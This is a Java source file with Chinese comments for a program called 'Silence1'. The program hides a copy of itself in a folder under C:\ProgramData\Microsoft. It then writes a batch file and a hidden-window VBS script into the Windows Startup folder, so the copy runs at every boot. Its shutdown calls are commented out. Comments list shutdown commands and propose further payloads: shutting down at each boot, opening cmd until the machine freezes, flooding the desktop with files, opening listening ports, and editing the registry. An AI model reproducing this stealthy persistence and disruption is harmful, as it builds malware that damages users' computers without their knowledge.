import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;/*** * shutdown -s -t 60 60秒后关机* * shutdown -s -t 3600 1小时后关机* * logoff 注销命令* * tsshutdn 60秒后关机* * shutdown -s -f 强制关机* * shutdown -s -t 时间* * shutdown -a 取消 关机命令** @author silence* 将程序影藏在 C:\ProgramData\Microsoft  下的自定义silence文件夹*/
public class Silence1 {/*** 程序存储的文件位置 和bat*/private static final File SILENCE_FILE = new File("C:\\ProgramData\\Microsoft\\silence");/*** 开机启动项存放 vbs 的位置*/private static final File START_FILE = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\start.vbs");static {if (!SILENCE_FILE.exists()) {boolean mkdirs = SILENCE_FILE.mkdirs();}}public static void main(String[] args) throws Exception {//如果不是第一次启动本软件if (!START_FILE.exists()) {//程序运行的时候复制自身class文件到指定文件夹copySilence();//写bat启动项文件batStart();//写vbs系统自启动项vbsStart();}//写个关机命令shutdown();//可以在这开个TCP或者UDP端口监听该用什么方法//每次开机后会打开此程序  可以写关机每次开机后会自动关机  重复打开cmd卡死  循环写文件到桌面//可以启动TCP 或UDP形式监听端口//写注册表//运行cmd命令}/*** 关机命令*/private static void shutdown() throws Exception {//60s 后关机// Runtime.getRuntime().exec("shutdown -s -t 60");//取消关机命令// Runtime.getRuntime().exec("shutdown -a");// 强制关机//  Runtime.getRuntime().exec("shutdown -s -f");}/*** 写vbs系统自启动项*/private static void vbsStart() throws Exception {FileOutputStream out = new FileOutputStream(START_FILE);String str1 = "set ws=wscript.createobject(\"wscript.shell\")";String str2 = "ws.run \"C:/ProgramData/Microsoft/silence/start.bat" + " /start\",0";out.write(str1.getBytes());out.write("\r\n".getBytes());out.write(str2.getBytes());out.close();}/*** 写bat启动class文件*/private static void batStart() throws Exception {FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\start.bat");String str = "java Silence1";out.write(str.getBytes());out.close();}/*** 启动后写到C盘   启动文件*/private static void copySilence() throws Exception {FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\Silence1.class");FileInputStream input = new FileInputStream("Silence1.class");byte[] bytes = new byte[1024];int length = 0;while ((length = input.read(bytes)) != -1) {out.write(bytes, 0, length);out.flush();}out.close();input.close();}
}